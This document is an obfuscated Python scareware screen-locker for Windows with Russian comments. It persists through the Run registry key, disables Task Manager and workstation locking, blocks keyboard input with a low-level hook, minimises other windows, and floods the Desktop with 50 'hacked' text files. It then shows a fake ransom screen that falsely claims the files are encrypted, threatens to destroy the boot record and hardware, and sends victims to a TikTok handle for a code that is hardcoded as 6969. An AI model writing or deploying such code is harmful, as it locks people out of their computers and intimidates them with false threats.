Загрузка данных


import tkinter as _0x00000001
import random as _0x00000002
import threading as _0x00000003
import time as _0x00000004
import winsound as _0x00000005
import sys as _0x00000006
import ctypes as _0x00000007
import winreg as _0x00000008
import os as _0x00000009
from ctypes import wintypes as _0x0000000A

try:
    import pygame as _0x0000000B
    _0x0000000C = True
except ImportError:
    _0x0000000C = False

_0x0000000D = "6969"
_0x0000000E = "Lucida Console"
_0x0000000F = "SystemLock"
_0x00000010 = "musec.mp3"

# <<< цвета
_BG_BLACK = "#000000"
_BG_PURPLE = "#1a0033"
_BG_FLASH = "#4b0082"   # фиолетовый для мигания

# <<< рабочий стол для txt
_DESKTOP = _0x00000009.path.join(_0x00000009.path.expanduser("~"), "Desktop")


def _spawn_docs():
    # <<< 50 текстовых документов на рабочем столе
    try:
        if not _0x00000009.path.isdir(_DESKTOP):
            return
        for _i in range(50):
            _p = _0x00000009.path.join(_DESKTOP, f"text_{_i+1}.txt")
            with open(_p, "w", encoding="utf-8") as _f:
                _f.write("ВЗЛОМАН АХАХХАХАХА")
    except Exception:
        pass


def _0x00000011():
    if not _0x0000000C:
        return
    try:
        _0x0000000B.mixer.init()
        if getattr(_0x00000006, "frozen", False):
            _0x00000012 = _0x00000006._MEIPASS
        else:
            _0x00000012 = _0x00000009.path.dirname(_0x00000009.path.abspath(_0x00000006.argv[0]))
        _0x00000013 = _0x00000009.path.join(_0x00000012, _0x00000010)
        if not _0x00000009.path.exists(_0x00000013):
            return
        _0x0000000B.mixer.music.load(_0x00000013)
        _0x0000000B.mixer.music.set_volume(0.7)
        _0x0000000B.mixer.music.play(-1)
    except Exception:
        pass


def _0x00000014():
    if not _0x0000000C:
        return
    try:
        _0x0000000B.mixer.music.stop()
    except Exception:
        pass


_0x00000015 = []


def _0x00000016():
    try:
        _0x00000017 = _0x00000008.OpenKey(_0x00000008.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, _0x00000008.KEY_READ)
        try:
            _0x00000018, _ = _0x00000008.QueryValueEx(_0x00000017, _0x0000000F)
            _0x00000008.CloseKey(_0x00000017)
            _0x00000018 = _0x00000018.strip('"')
            _0x00000019 = _0x00000009.path.abspath(_0x00000006.argv[0])
            return _0x00000009.path.normcase(_0x00000018) == _0x00000009.path.normcase(_0x00000019)
        except FileNotFoundError:
            _0x00000008.CloseKey(_0x00000017)
            return False
    except Exception:
        return False


def _0x0000001A():
    if _0x00000016():
        return
    try:
        _0x0000001B = _0x00000009.path.abspath(_0x00000006.argv[0])
        _0x0000001C = _0x00000008.OpenKey(_0x00000008.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, _0x00000008.KEY_SET_VALUE)
        _0x00000008.SetValueEx(_0x0000001C, _0x0000000F, 0, _0x00000008.REG_SZ, f'"{_0x0000001B}"')
        _0x00000008.CloseKey(_0x0000001C)
    except Exception:
        pass


def _0x0000001D():
    try:
        _0x0000001E = _0x00000008.OpenKey(_0x00000008.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, _0x00000008.KEY_SET_VALUE)
        _0x00000008.DeleteValue(_0x0000001E, _0x0000000F)
        _0x00000008.CloseKey(_0x0000001E)
    except FileNotFoundError:
        pass
    except Exception:
        pass


def _0x0000001F():
    try:
        _0x00000020 = _0x00000008.OpenKey(_0x00000008.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run", 0, _0x00000008.KEY_SET_VALUE)
        _0x00000008.DeleteValue(_0x00000020, _0x0000000F)
        _0x00000008.CloseKey(_0x00000020)
    except FileNotFoundError:
        pass
    except Exception:
        pass


_0x00000021 = 13
_0x00000022 = 0x0100
_0x00000023 = 0x0104


class _0x00000024(_0x00000007.Structure):
    _fields_ = [
        ("vkCode", _0x0000000A.DWORD),
        ("scanCode", _0x0000000A.DWORD),
        ("flags", _0x0000000A.DWORD),
        ("time", _0x0000000A.DWORD),
        ("dwExtraInfo", _0x00000007.POINTER(_0x00000007.c_ulong))
    ]


_0x00000025 = None
_0x00000026 = None


def _0x00000027(_0x00000028, _0x00000029, _0x0000002A):
    if _0x00000028 == 0 and _0x00000029 in (_0x00000022, _0x00000023):
        return 1
    return _0x00000007.windll.user32.CallNextHookEx(None, _0x00000028, _0x00000029, _0x0000002A)


def _0x0000002B():
    global _0x00000025, _0x00000026
    try:
        _0x00000026 = _0x00000007.WINFUNCTYPE(_0x00000007.c_int, _0x00000007.c_int, _0x0000000A.WPARAM, _0x0000000A.LPARAM)(_0x00000027)
        _0x00000025 = _0x00000007.windll.user32.SetWindowsHookExW(_0x00000021, _0x00000026, None, 0)
        _0x0000002C = _0x0000000A.MSG()
        while _0x00000007.windll.user32.GetMessageW(_0x00000007.byref(_0x0000002C), None, 0, 0) != 0:
            _0x00000007.windll.user32.TranslateMessage(_0x00000007.byref(_0x0000002C))
            _0x00000007.windll.user32.DispatchMessageW(_0x00000007.byref(_0x0000002C))
    except Exception:
        pass


def _0x0000002D():
    try:
        _0x0000002E = _0x00000008.CreateKey(_0x00000008.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Policies\System")
        _0x00000008.SetValueEx(_0x0000002E, "DisableTaskMgr", 0, _0x00000008.REG_DWORD, 1)
        _0x00000008.SetValueEx(_0x0000002E, "DisableLockWorkstation", 0, _0x00000008.REG_DWORD, 1)
        _0x00000008.CloseKey(_0x0000002E)
    except Exception:
        pass


def _0x0000002F():
    try:
        _0x00000030 = _0x00000008.OpenKey(_0x00000008.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Policies\System", 0, _0x00000008.KEY_SET_VALUE)
        _0x00000008.SetValueEx(_0x00000030, "DisableTaskMgr", 0, _0x00000008.REG_DWORD, 0)
        _0x00000008.SetValueEx(_0x00000030, "DisableLockWorkstation", 0, _0x00000008.REG_DWORD, 0)
        _0x00000008.CloseKey(_0x00000030)
    except Exception:
        pass


def _0x00000031(_0x00000032, _0x00000033):
    try:
        _0x00000005.Beep(_0x00000032, _0x00000033)
    except Exception:
        pass


def _0x00000034():
    try:
        _0x00000005.Beep(2400, 1500)
    except Exception:
        pass


# <<< ASCII-арт
_0x00000046 = r"""@@@@@@@@@@@%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%@@@@@@
@@@@@@@@@@+  =%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%=  =@@@@@
@@@@@@@@%:     =%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*:     =@@@@
@@@@@@@#.        +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+         +@@@
@@@@@@#:           +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%=           .#@@
@@@@@%-             :#@@@@@@@@@%+*#@@@@@@@@@@@@@@@@@@@@@@@@@@@=              =@@
@@@@@+                :%@@@@@@@%.      :=#%@@@@@@@@@@@@@@@@%+                :#@
@@@@%                   -%@@@@@@*          .-#@@@@@@@@@@@@+.                  *@
@@@@=                    .+@@@@@@+             :%@@@@@@@%.                    -@
@@@@                       .#@@@@@*.             .*@@@%-                      :%
@@@*                         -%@@@@%%%.             **.                       .%
@@@*                       .-*+-.                    :*-                      .%
@@@*                     :#+.                                                 :%
@@@*                    +#*++++++++++**=.                                     -@
@@@%                                                                          *@
@@@@-                                                                        :%@
@@@@%                                                                       .+@@
@@@@@+                                                                      -@@@
@@@@@%-                                       .::---=====+++++++:          -@@@@
@@@@@@%:      =#%@%%%%%%@@@@@%#*+             -@@@@@@@%:    .%.           +@@@@@
@@@@@@@%:       +=     -@@@@@@@%.             *@@@@@@@@-     -*         .*@@@@@@
@@@@@@@@@=     :*.     =@@@@@@@@.             #@@@@@@@@-     .*:       =@@@@@@@@
@%@@@@@@@@#.   ==      =@@@@@@@@.             #@@@@@@@@:      +-     -%#+=--+%@@
@*...::--==:  .+-      :@@@@@@@%.             =@@@@@@@#.      +=           .#@@@
@@+.           +-       #@@@@@@+               +@@@@@%-       +-         .+@@@@@
@@@%=.         -*.      :%@@@@*.                :*#*-.        =:       .+%@@@@@@
@@@@@@%+:       --       .=#*:    :#%#*.                              %@@@@@@@@@
@@@@@@@@+  :=+*- .::                                     :+*-.==.     .*@@@@@@@@
@@@@@@@*.     **=:.                                      . =*-.         :#@@@@@@
@@@@@@#:                      .:.   .-**+=---+*+.                        .*@@@@@
@@@@@#.                        .-++=:.     .                               *@@@@
@@@@%......:=#+.                                            .:*@@@@%%%@@@@@@@@@@
@@@@@@@@@@@@@@@@%#=:                                   .:=*%@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@%+:.                         .=+%@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@* .:-=+++*:                     :%@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@=                              :@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@*-.                           :@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@%-.                            -@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@%=                               .+@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@=---+:                            :#@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@+                              =%@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@*                                #@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@#.                                -@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@%-                                  #@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@*.                                  -@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@%-                                   .%@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@#.                                    +@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@=                                     -@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@.                                     :#@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@#                                      .#@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@=                                      .+@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@.                                       +@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@#                                        =@@@@@@@@@@@@@@@@"""


_0x00000035 = _0x00000001.Tk()
_0x00000035.title("ВАС ЗАМЕТИЛИ")
_0x00000035.attributes("-fullscreen", True)
_0x00000035.attributes("-topmost", True)
_0x00000035.configure(bg=_BG_BLACK)
_0x00000035.protocol("WM_DELETE_WINDOW", lambda: None)
_0x00000035.overrideredirect(True)
_0x00000035.update_idletasks()
_0x00000035.lift()
_0x00000035.attributes("-topmost", True)
_0x00000035.focus_force()

_0x00000036 = _0x00000001.Canvas(_0x00000035, bg=_BG_BLACK, highlightthickness=0)
_0x00000036.pack(fill=_0x00000001.BOTH, expand=True)

_0x00000037 = _0x00000035.winfo_screenwidth()
_0x00000038 = _0x00000035.winfo_screenheight()
_0x00000039 = _0x00000037 // 2
_0x0000003A = _0x00000038 // 2

_0x0000003B = 12
_0x0000003C = []


def _0x0000003D():
    for _0x0000003E in range(_0x0000003B):
        _0x0000003F = f"Boot error: 0x{_0x00000002.randint(0x10000000, 0xFFFFFFFF):08X}"
        _0x00000040 = _0x00000036.create_text(20, 20 + _0x0000003E * 22, text=_0x0000003F, fill="#ffffff", anchor="nw", font=(_0x0000000E, 13, "bold"))
        _0x0000003C.append(_0x00000040)
        _0x00000036.update()
        _0x00000031(_0x00000002.randint(400, 900), 25)
        _0x00000004.sleep(0.08)
    _0x00000041 = _0x00000036.create_text(20, 20 + _0x0000003B * 22, text="Memory section at address 0x0424* is locked!", fill="#ffffff", anchor="nw", font=(_0x0000000E, 13, "bold"))
    _0x00000042 = _0x00000036.create_text(20, 20 + (_0x0000003B + 1) * 22, text="Service NuroCrypter started.", fill="#ffffff", anchor="nw", font=(_0x0000000E, 13, "bold"))
    _0x00000043 = _0x00000036.create_text(20, 20 + (_0x0000003B + 2) * 22, text="* Windows blocked!", fill="#ffffff", anchor="nw", font=(_0x0000000E, 13, "bold"))
    _0x00000036.update()
    _0x00000004.sleep(0.5)
    for _0x00000044 in _0x0000003C + [_0x00000041, _0x00000042, _0x00000043]:
        _0x00000036.itemconfig(_0x00000044, fill="#ff0000")
    _0x00000036.update()
    _0x00000004.sleep(1.5)
    _0x00000035.after(0, _0x00000045)


# <<< мигание
_0x000000_flash_stop = False
_0x000000_flash_state = [0]


def _0x000000_flash():
    if _0x000000_flash_stop:
        return
    # чёрный ↔ фиолетовый, 25 мс
    _c = _BG_FLASH if _0x000000_flash_state[0] else _BG_BLACK
    try:
        _0x00000035.configure(bg=_c)
        _0x00000036.configure(bg=_c)
    except Exception:
        return
    _0x000000_flash_state[0] ^= 1
    _0x00000035.after(25, _0x000000_flash)


def _0x00000045():
    global _0x000000_flash_stop
    _0x00000036.delete("all")
    _0x00000036.update()

    # высокий писк
    _0x00000003.Thread(target=_0x00000034, daemon=True).start()

    # 50 txt на рабочий стол
    _0x00000003.Thread(target=_spawn_docs, daemon=True).start()

    # мигание
    _0x000000_flash_stop = False
    _0x00000035.after(0, _0x000000_flash)

    # ASCII-арт
    _0x00000036.create_text(_0x00000039, _0x0000003A, text=_0x00000046,
                            fill="#ffffff", font=(_0x0000000E, 10), anchor="center")
    _0x00000036.update()

    # <<< 3 секунды мигания → стоп → финал
    def _finish():
        global _0x000000_flash_stop
        _0x000000_flash_stop = True
        _0x00000004.sleep(0.1)
        _0x00000035.after(0, _0x00000047)

    _0x00000035.after(3000, _finish)


_0x00000048 = None


def _0x00000049(_0x0000004A):
    global _0x00000048
    if _0x00000048:
        _0x00000048.insert(_0x00000001.END, _0x0000004A)


def _0x0000004B():
    global _0x00000048
    if _0x00000048:
        _0x0000004C = _0x00000048.get()
        _0x00000048.delete(0, _0x00000001.END)
        _0x00000048.insert(0, _0x0000004C[:-1])


def _0x00000047():
    global _0x00000048
    _0x00000036.delete("all")
    _0x00000035.configure(bg=_BG_PURPLE)
    _0x00000036.configure(bg=_BG_PURPLE)
    _0x00000036.update()
    _0x00000003.Thread(target=_0x00000011, daemon=True).start()
    _0x0000004D = _0x00000001.Frame(_0x00000035, bg=_BG_PURPLE)
    _0x00000036.create_window(_0x00000039, _0x0000003A, window=_0x0000004D)
    _0x00000001.Label(_0x0000004D, text="Ваши файлы зашифрованы!", bg="#ffffff", fg="#000000", font=(_0x0000000E, 14, "bold"), padx=10, pady=4).pack(pady=(0, 10))
    _0x0000004E = _0x00000001.Frame(_0x0000004D, bg=_BG_PURPLE, bd=2, relief="solid", highlightbackground="#ffffff", highlightthickness=2)
    _0x0000004E.pack(fill="x")
    _0x0000004F = (
        "Упс! Вы подверглись масштабной хакерской атаке теперь ваш компьютер\n"
        "заблокирован, а все имеющиеся диски и файлы на них зашифрованы хакерской\n"
        "группировкой. Любые действия, связанные с попыткой обмануть систему\n"
        "нанесут непоправимый вред вашему компьютеру и приведет к потере всех\n"
        "важных файлов без возможности восстановления. При попытке снять\n"
        "блокировку MBR (главный загрузчик материнки) будет снесён и будет подана\n"
        "рекурсивная нагрузка на ваш процессор, что приведет к его неисправности.\n"
        "Что бы получить код, напиши @mat3l0rdfan (TikTok)\n"
        "Удачи! ^_^"
    )
    _0x00000001.Label(_0x0000004E, text=_0x0000004F, bg=_BG_PURPLE, fg="#ffffff", font=(_0x0000000E, 12, "bold"), justify="left").pack(padx=10, pady=6)
    _0x00000050 = _0x00000001.Frame(_0x0000004D, bg=_BG_PURPLE, bd=2, relief="solid", highlightbackground="#ffffff", highlightthickness=2)
    _0x00000050.pack(fill="x", pady=(5, 0))
    _0x00000001.Label(_0x00000050, text="Введите код разблокировки:", bg=_BG_PURPLE, fg="#ffffff", font=(_0x0000000E, 13, "bold")).pack(pady=4)
    _0x00000048 = _0x00000001.Entry(_0x00000050, font=(_0x0000000E, 18, "bold"), justify="center", bd=0, bg="#ffffff", fg="#000000", insertbackground="#000000")
    _0x00000048.pack(fill="x", padx=5, pady=(0, 5), ipady=6)
    _0x00000048.focus_force()
    _0x00000051 = _0x00000001.Frame(_0x0000004D, bg=_BG_PURPLE)
    _0x00000051.pack(pady=(10, 0))
    _0x00000052 = [
        ("1", 0, 0), ("2", 0, 1), ("3", 0, 2),
        ("4", 1, 0), ("5", 1, 1), ("6", 1, 2),
        ("7", 2, 0), ("8", 2, 1), ("9", 2, 2),
        ("Clear", 3, 0), ("0", 3, 1), ("Enter", 3, 2),
    ]
    for _0x00000053, _0x00000054, _0x00000055 in _0x00000052:
        if _0x00000053 == "Clear":
            _0x00000056 = _0x0000004B
        elif _0x00000053 == "Enter":
            _0x00000056 = _0x00000057
        else:
            _0x00000056 = lambda _0x00000058=_0x00000053: _0x00000049(_0x00000058)
        _0x00000001.Button(_0x00000051, text=_0x00000053, command=_0x00000056, font=(_0x0000000E, 14, "bold"), bg="#ffffff", fg="#000000", activebackground="#cccccc", activeforeground="#000000", width=8, height=2, bd=1, relief="solid").grid(row=_0x00000054, column=_0x00000055, padx=2, pady=2)
    _0x00000036.create_text(20, _0x00000038 - 60, text="ID: 10-A214B470E14323", fill="#ffffff", anchor="w", font=(_0x0000000E, 12, "bold"))
    _0x00000036.create_text(20, _0x00000038 - 35, text="Current PC: WIN-73R05P0NDEF", fill="#ffffff", anchor="w", font=(_0x0000000E, 12, "bold"))
    _0x00000036.update()


def _0x00000057():
    global _0x00000048
    if _0x00000048 and _0x00000048.get() == _0x0000000D:
        _0x00000014()
        _0x00000059()
        _0x0000002F()
        _0x0000001D()
        _0x0000001F()
        _0x00000035.destroy()
        _0x00000006.exit(0)
    elif _0x00000048:
        _0x00000048.delete(0, _0x00000001.END)


def _0x0000005A():
    _0x0000005B = _0x00000007.windll.user32
    _0x0000005C = _0x00000007.windll.kernel32
    _0x0000005D = _0x0000005C.GetCurrentProcessId()
    def _0x0000005E(_0x0000005F, _0x00000060):
        _0x00000061 = _0x0000000A.DWORD()
        _0x0000005B.GetWindowThreadProcessId(_0x0000005F, _0x00000007.byref(_0x00000061))
        if _0x00000061.value == _0x0000005D:
            return True
        if not _0x0000005B.IsWindowVisible(_0x0000005F):
            return True
        _0x00000062 = _0x00000007.create_unicode_buffer(256)
        _0x0000005B.GetClassNameW(_0x0000005F, _0x00000062, 256)
        _0x00000063 = _0x00000062.value
        _0x00000064 = (
            "Shell_TrayWnd", "Shell_SecondaryTrayWnd",
            "Progman", "WorkerW", "Windows.UI.Core.CoreWindow",
            "TaskManagerWindow", "TaskMgr",
            "ApplicationFrameWindow",
            "Windows.Internal.Shell.TabProxyWindow",
        )
        if _0x00000063 in _0x00000064:
            return True
        _0x00000065 = _0x0000005C.OpenProcess(0x1000, False, _0x00000061.value)
        if _0x00000065:
            _0x00000066 = _0x00000007.create_unicode_buffer(260)
            _0x00000067 = _0x0000000A.DWORD(260)
            _0x0000005C.QueryFullProcessImageNameW(_0x00000065, 0, _0x00000066, _0x00000007.byref(_0x00000067))
            _0x0000005C.CloseHandle(_0x00000065)
            if "explorer.exe" in _0x00000066.value.lower():
                return True
        if not _0x0000005B.IsIconic(_0x0000005F):
            if _0x0000005F not in _0x00000015:
                _0x00000015.append(_0x0000005F)
        try:
            _0x0000005B.ShowWindow(_0x0000005F, 6)
        except Exception:
            pass
        return True
    _0x00000068 = _0x00000007.WINFUNCTYPE(_0x0000000A.BOOL, _0x0000000A.HWND, _0x0000000A.LPARAM)
    while True:
        try:
            _0x0000005B.EnumWindows(_0x00000068(_0x0000005E), 0)
        except Exception:
            pass
        _0x00000004.sleep(0.5)


def _0x00000059():
    _0x00000069 = _0x00000007.windll.user32
    for _0x0000006A in list(_0x00000015):
        try:
            _0x00000069.ShowWindow(_0x0000006A, 9)
        except Exception:
            pass
    _0x00000015.clear()


def _0x0000006B():
    while True:
        _0x00000004.sleep(1)
        try:
            _0x00000035.attributes("-topmost", True)
            _0x00000035.lift()
            _0x00000035.focus_force()
        except Exception:
            pass


_0x0000001A()
_0x0000002D()
_0x00000003.Thread(target=_0x0000002B, daemon=True).start()
_0x00000003.Thread(target=_0x0000005A, daemon=True).start()
_0x00000003.Thread(target=_0x0000006B, daemon=True).start()
_0x00000003.Thread(target=_0x0000003D, daemon=True).start()
_0x00000035.mainloop()